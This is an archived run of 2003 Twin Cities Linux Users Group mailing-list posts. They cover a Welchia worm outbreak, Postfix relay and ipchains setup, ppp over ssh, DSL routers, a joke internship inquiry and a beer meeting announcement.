Firewalls blocking the ports used by Blaster and Welchia, servier side and client side anti virus software catching Sobig other e-mail stuff. Everything having updates pushed to it...all was well in the world. Except that sales person's laptop that has been out of the office for who knows how long. It showed up today and starting Welchia activity. In no time at all, it had found the machines that had escaped Software Update Services. (Gasp, 3 machines!) Well, I know I'm doing better than other companies with only 3 infections that were quickly caught and the the conditions that allowed the infection corrected, but let that be a warning to others. Firewalling your network won't save you if you have devices moving between networks. Automatic updates are only good as long as you don't miss a box. Anti virus is only good when kept up to date... I'll take my small victory of only 3 machines vs the "we lost count" that other companies are dealing with. Andrew S. Zbikowski | http://www.ringworld.org A password is like your underwear; Change it frequently, don't share it with others, and don't ask to borrow someone else's. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From lxy at cloudnet.com Thu Aug 21 15:11:02 2003 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 12:40:46 2005 Subject: [TCLUG] (fwd) Hello Clay In-Reply-To: <20030821173414.GD18960@fandre.com> Message-ID: On Thu, 21 Aug 2003, Clay Fandre wrote: > Is this a joke? Some new email virus that is going around? If not, > anyone need some housecleaning done? Or their car washed? Well, he can stop by and convert my orginization to linux. It doesn't pay, there are no benefits, and he won't even get a desk or a computer of his own but if he's desperate to help out for free we'll take him. -Brian _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Thu Aug 21 15:40:21 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:46 2005 Subject: [TCLUG] relay refused Message-ID: <0399641989D32043BED5793CCC8F5CD54D36A2@BPEXU1VM2.andersencorp.com> I just realized that the subject line may make people think this is not a legit post Dan Lansing -----Original Message----- From: Lansing, Dan Sent: Thursday, August 21, 2003 11:34 AM To: tclug-list@mn-linux.org Subject: [TCLUG] relay refused I am running SuSE OpenExchange. When I send out emails via the web client everything is ok. When I send something out via outlook it gets rejected and this is the response Your message did not reach some or all of the intended recipients. Subject: Test of the system Sent: 8/8/2003 11:10 PM The following recipient(s) could not be reached: 'xxxxxxx@aol.com' on 8/8/2003 11:11 PM 554 : Recipient address rejected: Relay access denied our message did not reach some or all of the intended recipients. Subject: Message Sent: 8/8/2003 11:12 PM The following recipient(s) could not be reached: 'Lansing, Dan' on 8/8/2003 11:13 PM 554 : Recipient address rejected: Relay access denied is this something I have to configure on the server to accept stuff from outlook? Is this a samba issue? Any ideas? Dan Lansing -------------- next part -------------- An HTML attachment was scrubbed... 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NTLM proxy working In-Reply-To: <3F4527F3.8040904@visi.com> References: <3F4527F3.8040904@visi.com> Message-ID: On Thu, 21 Aug 2003 15:13:39 -0500, Sam MacDonald wrote: > You've most likely done this... > > Do you get prompted for a user name and password? > If so > enter the domain name and user name like this > domain\user > enter the password > > Let me know if it works. no dice.... > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nate at refried.org Thu Aug 21 17:32:00 2003 From: nate at refried.org (nate@refried.org) Date: Mon Jan 17 12:40:47 2005 Subject: [TCLUG] (fwd) Hello Clay In-Reply-To: <20030821173414.GD18960@fandre.com> References: <20030821173414.GD18960@fandre.com> Message-ID: <20030821223200.GB19924@refried.org> On Thu, Aug 21, 2003 at 12:34:15PM -0500, Clay Fandre wrote: > Is this a joke? Some new email virus that is going around? If not, > anyone need some housecleaning done? Or their car washed? I could use some help moving next weekend. :) > ----- Forwarded message from Sudhir Chowdhary ----- > I am available to start from 1st September'03. Please suggest that how can > I be of help to your Organization. I am a quick learner and Big fan of > LINUX. Wow, even the reponse looks like a form letter. > On Thu, 21 Aug 2003, Clay Fandre wrote: > > So what can you do for the TCLUG? Since we have no budget you'll have > > to work for free, but that's fine with me. When can you start? I would have never expected him to take a response like this seriously. >> On Wed, 20 Aug 2003, sudhir@ecst.csuchico.edu wrote: >>> Dear Sir/Madam, Yup, bad form letter. Don't they learn how to do mail merges at Chico? >>> I wish to apply for jobs/internship within your organization.I am graduate >>> senior majoring in computer science from California State University Or grammar? > > > begin 644 sudhir.doc > > > MT,\1X*&Q&N$`````````````````````/@`#`/[_"0`&```````````````! [ 1241 lines of uuencode removed ] > > > end Now Clay, you really should know better... Nate - Hoping he doesn't have to send out for letters like this anytime soon. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scanman at scanman.mine.nu Thu Aug 21 18:00:54 2003 From: scanman at scanman.mine.nu (Moi) Date: Mon Jan 17 12:40:47 2005 Subject: [TCLUG] subject tag In-Reply-To: <3F3CF144.5080608@structural-wood.com>; from kent@structural-wood.com on Fri, Aug 15, 2003 at 09:42:12 -0500 References: <1060924476.20745.54.camel@myah> <20030815005848.A3575@thinkunix.net> <1060928464.20745.123.camel@myah> <20030815080831.GH13598@techmonkeys.org> <1060949531.20064.17.camel@myah> <20030815090825.A13565@baker.space.umn.edu> <3F3CF144.5080608@structural-wood.com> Message-ID: <20030821230054.GA28628@nascent.mn.rr.com> On 2003.08.15 09:42, Kent Schumacher wrote: > Yes But you aren't. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dsherman at real-time.com Thu Aug 21 19:07:59 2003 From: dsherman at real-time.com (Dave Sherman) Date: Mon Jan 17 12:40:47 2005 Subject: [TCLUG] OT: Feeling Secure? In-Reply-To: References: Message-ID: <3F455EDF.4090201@real-time.com> Andy Zbikowski (Zibby) wrote: > Well, I thought my network was pretty safe from Blaster and Welchia. > Software Update Services is pushing updates to the clients. Firewalls > blocking the ports used by Blaster and Welchia, servier side and client > side anti virus software catching Sobig other e-mail stuff. Everything > having updates pushed to it...all was well in the world. > > Except that sales person's laptop that has been out of the office for who > knows how long. It showed up today and starting Welchia activity. In no > time at all, it had found the machines that had escaped Software Update > Services. (Gasp, 3 machines!) Exactly the same thing happened to me on Tuesday (thankfully, like with you, only 3 PCs were infected). And I just started this new job on Monday. What a first week it's been... But actually, congratulate me! I got a great new job as a sysadmin! -- Dave Sherman - MCSE, MCSA, CCNA Meddle not in the affairs of dragons, for you are crunchy, and good with ketchup. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From spencer at autonomous.tv Thu Aug 21 19:13:44 2003 From: spencer at autonomous.tv (Spencer Butler) Date: Mon Jan 17 12:40:47 2005 Subject: [TCLUG] OT: Feeling Secure? In-Reply-To: <3F455EDF.4090201@real-time.com> References: <3F455EDF.4090201@real-time.com> Message-ID: <20030822001344.GD29442@autonomous.tv> On Thu, Aug 21, 2003 at 07:07:59PM -0500, Dave Sherman wrote: >But actually, congratulate me! I got a great new job as a sysadmin! congradulations! That shit must be viral, cause you are the third person I know of that found sysadmin type employment this week :) work = good -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030821/c81b4bc4/attachment.pgp From dsherman at real-time.com Thu Aug 21 21:00:26 2003 From: dsherman at real-time.com (Dave Sherman) Date: Mon Jan 17 12:40:47 2005 Subject: [TCLUG] OT: Feeling Secure? In-Reply-To: <20030822001344.GD29442@autonomous.tv> References: <3F455EDF.4090201@real-time.com> <20030822001344.GD29442@autonomous.tv> Message-ID: <3F45793A.5060908@real-time.com> Spencer Butler wrote: > On Thu, Aug 21, 2003 at 07:07:59PM -0500, Dave Sherman wrote: > >>But actually, congratulate me! I got a great new job as a sysadmin! > > congradulations! > That shit must be viral, cause you are the third person I know of that > found sysadmin type employment this week :) > > work = good Yeah, especially when I also got a significant raise to go with the job change. Now, I'm *almost* making what I think I'm actually worth ;-) -- Dave Sherman - MCSE, MCSA, CCNA Meddle not in the affairs of dragons, for you are crunchy, and good with ketchup. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clay at fandre.com Thu Aug 21 21:05:28 2003 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 12:40:47 2005 Subject: [TCLUG] (fwd) Hello Clay In-Reply-To: <20030821223200.GB19924@refried.org> References: <20030821173414.GD18960@fandre.com> <20030821223200.GB19924@refried.org> Message-ID: <20030822020528.GA21371@fandre.com> On Thu, 21 Aug 2003, nate@refried.org wrote: > I would have never expected him to take a response like this seriously. > He replied to me again, this time telling me that he *would* work for free. I might actually take him up on this. > Now Clay, you really should know better... I was hoping someone would decode it and let me know if he's qualified or not. Anyone? _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nassarmu at redconcepts.net Thu Aug 21 21:16:31 2003 From: nassarmu at redconcepts.net (Munir Nassar) Date: Mon Jan 17 12:40:47 2005 Subject: [TCLUG] (fwd) Hello Clay In-Reply-To: <20030822020528.GA21371@fandre.com> References: <20030821173414.GD18960@fandre.com> <20030821223200.GB19924@refried.org> <20030822020528.GA21371@fandre.com> Message-ID: On Thu, 21 Aug 2003, Clay Fandre wrote: > I was hoping someone would decode it and let me know if he's qualified > or not. Anyone? the reason people go for internships is for 2 reasons. 1. BECAUSE they are not yet qualified for a real job 2. The hope that the interships "pans out" and becomes a real job. Make sure the person understands that is no real job anywhere in the tclug and there probably never will be one. after that, if said person is still willing; congratulate the first(?)... and only(?) person who actually works for the tclug. it would be very nice if you could actually find something for said person to do. (give mn-linux.org a facelift perhaps?) Munir Nassar RedConcepts.NET http://redconcepts.net/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jpschewe at mtu.net Thu Aug 21 22:11:02 2003 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 12:40:47 2005 Subject: [TCLUG] ppp over ssh help Message-ID: <16197.35270.456891.139639@workstation.mn.mtu.net> Has anyone ever set this up before? I've got a home lan setup with an OpenBSD box as the gateway (2 NICs using NAT). At work I have a Linux box accessible via ssh and I would like to run pppd on it instead of slirp to hopefully get some better throughput. The Linux box only has 1 NIC and is on the work network. I'd like to bridge the two networks. Home Lan (196.168.42.x) -> OpenBSD Gateway (using NAT) -> ssh/ppp -> Linux box -> work network I've done this with slirp on the Linux box and it works ok, but I'd like to use pppd on the Linux box instead. Can I get away with just doing proxyarp on the Linux box or do I need to setup ppp to give my VPN connection an IP and use NAT to get from my home lan to the work network? Thanks for any insight one can provide. Like I said I've got it setup with slirp, but haven't tried pppd and figured it'd be quicker to ask if someone had done this before. -- Jon Schewe | http://mtu.net/~jpschewe | jpschewe@mtu.net For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Thu Aug 21 22:13:38 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:47 2005 Subject: [TCLUG] (fwd) Hello Clay In-Reply-To: Message-ID: On Thu, 21 Aug 2003, Munir Nassar wrote: > it would be very nice if you could actually find something for said person > to do. (give mn-linux.org a facelift perhaps?) Darn, I was planning on conning your brother into doing that. ;) Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nassarmu at redconcepts.net Thu Aug 21 22:47:31 2003 From: nassarmu at redconcepts.net (Munir Nassar) Date: Mon Jan 17 12:40:47 2005 Subject: [TCLUG] (fwd) Hello Clay In-Reply-To: References: Message-ID: On Thu, 21 Aug 2003, Jima wrote: > Darn, I was planning on conning your brother into doing that. ;) go ahead, if you want to wait x number of years for it to be ready, where x = n lines of code + random integer Munir Nassar RedConcepts.NET http://redconcepts.net/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jack at jacku.com Fri Aug 22 00:15:38 2003 From: jack at jacku.com (Jack Ungerleider) Date: Mon Jan 17 12:40:47 2005 Subject: [TCLUG] relay refused In-Reply-To: <0399641989D32043BED5793CCC8F5CD526FAB6@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD526FAB6@BPEXU1VM2.andersencorp.com> Message-ID: <200308220015.38541.jack@jacku.com> On Thursday 21 August 2003 11:33 am, Lansing, Dan wrote: > I am running SuSE OpenExchange. When I send out emails via the web client > everything is ok. When I send something out via outlook it gets rejected > and this is the response > > Your message did not reach some or all of the intended recipients. > > Subject: Test of the system > Sent: 8/8/2003 11:10 PM > > The following recipient(s) could not be reached: > > 'xxxxxxx@aol.com' on 8/8/2003 11:11 PM > 554 : Recipient address rejected: Relay access > denied > > our message did not reach some or all of the intended recipients. > > Subject: Message > Sent: 8/8/2003 11:12 PM > > The following recipient(s) could not be reached: > > 'Lansing, Dan' on 8/8/2003 11:13 PM > 554 : Recipient address rejected: > Relay access denied > > is this something I have to configure on the server to accept stuff from > outlook? Is this a samba issue? Any ideas? > > Dan Lansing A couple of things need to be done. I setup postfix on a SuSE 8.1 box a few times to work with Outlook mail clients. There is a parameter line in your /etc/postfix/main.cf file that looks like this: smtpd_sender_restrictions = hash:/etc/postfix/access By default /etc/postfix/access looks to have a copy of the main page for the access file. Read through that and build an appropriate access file to allow user from your domain to send. Then make sure that Outlook is setup to have the from address match the domain that the server is serving. Then they should be able to send through that mail server. I'm sure somebody will explain why this solution will leave you vulnerable, but I don't claim to be a security expert. Good Luck! -- Jack Ungerleider jack@jacku.com _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Fri Aug 22 01:24:57 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:40:47 2005 Subject: [TCLUG] Router with DSL? In-Reply-To: <20030821132907.9AA5EE4A65@vpop-2.mc.mpls.visi.com> References: <20030821132907.9AA5EE4A65@vpop-2.mc.mpls.visi.com> Message-ID: <1061533497.1010.644.camel@lotsa> On Thu, 2003-08-21 at 08:29, pjcrump@bitstream.net wrote: > When getting DSL, will Qworst provide me with an external modem that I can > then run into a linksys router? I have a friend of mine that wants to > connect a couple of Windows boxes to the net. > thx. You don't need the linksys router (although you could use if you have reason to) The actiontec router you will be getting from qwest can be easily set up to connect many computers to the net. Qwest makes you rent this router from them. It has many of the same features as the linksys routers. -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scanman at scanman.mine.nu Fri Aug 22 02:38:08 2003 From: scanman at scanman.mine.nu (Moi) Date: Mon Jan 17 12:40:48 2005 Subject: [TCLUG] need quick ipchain rule In-Reply-To: <006401c367ff$de0e8200$dc0115ac@DELL2>; from admin@lctn.org on Thu, Aug 21, 2003 at 11:18:33 -0500 References: <006401c367ff$de0e8200$dc0115ac@DELL2> Message-ID: <20030822073808.GA1006@nascent.mn.rr.com> On 2003.08.21 11:18, Raymond Norton wrote: > This is what I have used, but all port 25 traffic has stopped. > > ipchains -I input -j ACCEPT -p tcp -s 10.11.11.0/0 -d > permited_domain/0 25 > ipchains -I input -j ACCEPT -p tcp -s 10.11.11./0 -d permited_domain/0 > 25 > ipchains -I input -j REJECT -p tcp -s 10.11.11.0/0 -d > reject_everything_else/0 25 If you want to stop outgoing mail, try changing where it says 'input' to 'output' _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From poptix at techmonkeys.org Fri Aug 22 03:32:59 2003 From: poptix at techmonkeys.org (Matthew S. Hallacy) Date: Mon Jan 17 12:40:48 2005 Subject: [TCLUG] OT: Feeling Secure? In-Reply-To: References: Message-ID: <20030822083258.GV13598@techmonkeys.org> On Thu, Aug 21, 2003 at 03:08:13PM -0500, Andy Zbikowski (Zibby) wrote: > Well, I thought my network was pretty safe from Blaster and Welchia. [snip] I've got a customers "network" (3 desktops) that I still haven't figured out how in the world they got it, their only contact with the outside world is behind a nat device that does no internal forwarding, nobody brings a laptop to this place, no VPN, no WAP, and no spare ethernet ports for someone to jack their laptop into. all three of their windows boxes were furiously pounding 192.168.0.0/16 trying to infect many non-existant hosts. -- Matthew S. Hallacy FUBAR, LART, BOFH Certified http://www.poptix.net GPG public key 0x01938203 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Fri Aug 22 05:17:29 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:48 2005 Subject: [TCLUG] (fwd) Hello Clay In-Reply-To: <20030822020528.GA21371@fandre.com> References: <20030821173414.GD18960@fandre.com> <20030821223200.GB19924@refried.org> <20030822020528.GA21371@fandre.com> Message-ID: <20030822051729.192ea3af.sfertch@real-time.com> On Thu, 21 Aug 2003 21:05:28 -0500 Clay Fandre wrote: > > On Thu, 21 Aug 2003, nate@refried.org wrote: > > > I would have never expected him to take a response like this > > seriously. > > > He replied to me again, this time telling me that he *would* work for > free. I might actually take him up on this. > > > Now Clay, you really should know better... > > I was hoping someone would decode it and let me know if he's qualified > or not. Anyone? > Shhh.... Maybe he's a mole from either Microsoft or SCO ;) One question though, he's taken classes from CA (if I read that right originally) and he's willing to move here (if he isn't already) to take on a free, non-paying position without any chance or possibility of ever being paid? Hmmm..... Makes you wonder. -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clay at fandre.com Fri Aug 22 07:13:14 2003 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 12:40:48 2005 Subject: [TCLUG] ppp over ssh help In-Reply-To: <16197.35270.456891.139639@workstation.mn.mtu.net> References: <16197.35270.456891.139639@workstation.mn.mtu.net> Message-ID: <20030822121314.GC21371@fandre.com> Have you checked out the Firewall Piercing mini-HOWTO? That's what I used. Check it out and let me know if you still need help. http://www.linuxdocs.org/HOWTOs/mini/Firewall-Piercing-4.html On Thu, 21 Aug 2003, Jon Schewe wrote: > Has anyone ever set this up before? I've got a home lan setup with an > OpenBSD box as the gateway (2 NICs using NAT). At work I have a Linux box > accessible via ssh and I would like to run pppd on it instead of slirp to > hopefully get some better throughput. The Linux box only has 1 NIC and is > on the work network. I'd like to bridge the two networks. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From phptom at wordesign.net Fri Aug 22 08:18:29 2003 From: phptom at wordesign.net (PHPTOm) Date: Mon Jan 17 12:40:48 2005 Subject: [TCLUG] Router with DSL? In-Reply-To: <1061533497.1010.644.camel@lotsa> Message-ID: I just got the actiontec last week from qwest. 5 bucks a month. It was easy and I got a win2k, xp and rh9 on the internet. Then I got rooted. -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Tom Penney Sent: Friday, August 22, 2003 1:25 AM To: TCLUG Subject: Re: [TCLUG] Router with DSL? On Thu, 2003-08-21 at 08:29, pjcrump@bitstream.net wrote: > When getting DSL, will Qworst provide me with an external modem that I can > then run into a linksys router? I have a friend of mine that wants to > connect a couple of Windows boxes to the net. > thx. You don't need the linksys router (although you could use if you have reason to) The actiontec router you will be getting from qwest can be easily set up to connect many computers to the net. Qwest makes you rent this router from them. It has many of the same features as the linksys routers. -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 22 09:25:51 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:48 2005 Subject: [TCLUG] (fwd) Hello Clay In-Reply-To: References: Message-ID: <3F4627EF.20908@visi.com> Jima wrote: >On Thu, 21 Aug 2003, Munir Nassar wrote: > > >>it would be very nice if you could actually find something for said person >>to do. (give mn-linux.org a facelift perhaps?) >> >> > > Darn, I was planning on conning your brother into doing that. ;) > > Jima > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > Sounds like fun to me!. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 22 09:28:02 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:48 2005 Subject: [TCLUG] OT: Feeling Secure? In-Reply-To: <20030822083258.GV13598@techmonkeys.org> References: <20030822083258.GV13598@techmonkeys.org> Message-ID: <3F462872.6020501@visi.com> Matthew S. Hallacy wrote: >On Thu, Aug 21, 2003 at 03:08:13PM -0500, Andy Zbikowski (Zibby) wrote: > > >>Well, I thought my network was pretty safe from Blaster and Welchia. >> >> > >[snip] > >I've got a customers "network" (3 desktops) that I still haven't figured >out how in the world they got it, their only contact with the outside >world is behind a nat device that does no internal forwarding, nobody >brings a laptop to this place, no VPN, no WAP, and no spare ethernet >ports for someone to jack their laptop into. > >all three of their windows boxes were furiously pounding 192.168.0.0/16 >trying to infect many non-existant hosts. > > > Can you say floppy disk or CD ROM. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From admin at lctn.org Fri Aug 22 09:26:46 2003 From: admin at lctn.org (Raymond Norton) Date: Mon Jan 17 12:40:48 2005 Subject: [TCLUG] need quick ipchain rule Message-ID: <007b01c368b9$6a9c4310$ea0e11ac@DELL2> On 2003.08.21 11:18, Raymond Norton wrote: > This is what I have used, but all port 25 traffic has stopped. > > ipchains -I input -j ACCEPT -p tcp -s 10.11.11.0/0 -d > permited_domain/0 25 > ipchains -I input -j ACCEPT -p tcp -s 10.11.11./0 -d permited_domain/0 > 25 > ipchains -I input -j REJECT -p tcp -s 10.11.11.0/0 -d > reject_everything_else/0 25 >If you want to stop outgoing mail, try changing where it says 'input' >to 'output' So, by changing "I" to "O" the aabove rule will work? _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Fri Aug 22 09:50:55 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:48 2005 Subject: [TCLUG] Beer Meeting tonight! Message-ID: --- snip --- A TCLUG beer meeting is a bi-weekly get-together where TCLUG members can get to know one another and share a beer. The beer meetings are open to anyone and everyone, so don't be afraid to show up. When: Friday, August 22, 2003 6pm - 8pm Where: Scoreboard 5765 Sanibel Drive Minnetonka, MN Details: By request. To quote the suggestion: "Reasonable prices, great appetizers. Happy hour drinks in a good selection. Crowds tend to start at the bar and fill-out the place from there. A pretty nice salad bar is stocked with a couple of soups, rolls, roasted chicken, and all the greens to make a rabbit happy." Come share a beer, or pop with fellow geeks. As always, everyone is welcome! Bring a friend, spouse, or co-worker. --- snip --- It's a little north of 62 on Shady Oak Road, for those unfamiliar with the area. More info, et al, at http://beer.tclug.org/ Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Fri Aug 22 09:50:55 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:48 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] Beer Meeting tonight! Message-ID: --- snip --- A TCLUG beer meeting is a bi-weekly get-together where TCLUG members can get to know one another and share a beer. The beer meetings are open to anyone and everyone, so don't be afraid to show up. When: Friday, August 22, 2003 6pm - 8pm Where: Scoreboard 5765 Sanibel Drive Minnetonka, MN Details: By request. To quote the suggestion: "Reasonable prices, great appetizers. Happy hour drinks in a good selection. Crowds tend to start at the bar and fill-out the place from there. A pretty nice salad bar is stocked with a couple of soups, rolls, roasted chicken, and all the greens to make a rabbit happy." Come share a beer, or pop with fellow geeks. As always, everyone is welcome! Bring a friend, spouse, or co-worker. --- snip --- It's a little north of 62 on Shady Oak Road, for those unfamiliar with the area. More info, et al, at http://beer.tclug.org/ Jima _______________________________________________ Twin Cities Linux Users Group Announcements - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-announce mailing list tclug-announce@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-announce _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Fri Aug 22 10:02:35 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:48 2005 Subject: [TCLUG] (fwd) Hello Clay In-Reply-To: Message-ID: On Thu, 21 Aug 2003, Munir Nassar wrote: > On Thu, 21 Aug 2003, Jima wrote: > > Darn, I was planning on conning your brother into doing that. ;) > > go ahead, if you want to wait x number of years for it to be ready, > > where x = n lines of code + random integer Hmm. Good point. I'd be better off volunteering to do it myself. (And I'm not a web designer.) Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Fri Aug 22 10:03:40 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:48 2005 Subject: [TCLUG] OT: Feeling Secure? In-Reply-To: <3F462872.6020501@visi.com> References: <20030822083258.GV13598@techmonkeys.org> <3F462872.6020501@visi.com> Message-ID: <20030822100340.0a47f2e9.sfertch@real-time.com> On Fri, 22 Aug 2003 09:28:02 -0500 Sam MacDonald wrote: > Can you say floppy disk or CD ROM. > E-mail? Yahoo, Hotmail, etc.... -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Fri Aug 22 10:09:51 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:48 2005 Subject: [TCLUG] (fwd) Hello Clay In-Reply-To: <20030822051729.192ea3af.sfertch@real-time.com> Message-ID: On Fri, 22 Aug 2003, Shawn wrote: > Shhh.... Maybe he's a mole from either Microsoft or SCO ;) The thought had seriously crossed my mind. > One question though, he's taken classes from CA (if I read that right > originally) and he's willing to move here (if he isn't already) to take > on a free, non-paying position without any chance or possibility of ever > being paid? I was wondering about the same thing. There are *tons* of LUGs in California (41, it looks like [1]) -- including one at CSU Chico [2] (where the OP is going to school). > Hmmm..... Makes you wonder. It certainly does. Jima 1. http://www.linux.org/groups/usa/ 2. http://cslug.ecst.csuchico.edu/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 22 10:41:04 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:48 2005 Subject: [TCLUG] SSHD Message-ID: <3F463990.6020006@visi.com> Well sshd works very, very well, except now I can't start an X session using WinaXe. When I attempted to stop sshd on my Linux box as "root" sshd stop It returns the following message Extra argument stop. ****** version Openssh_2.9p2 ****** I can stop and start other demons but it's like this one can't be stopped . The man page doesn't list any way to stop sshd, is it a freight train? Sam. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Fri Aug 22 10:40:16 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:48 2005 Subject: [TCLUG] SSHD In-Reply-To: <3F463990.6020006@visi.com> References: 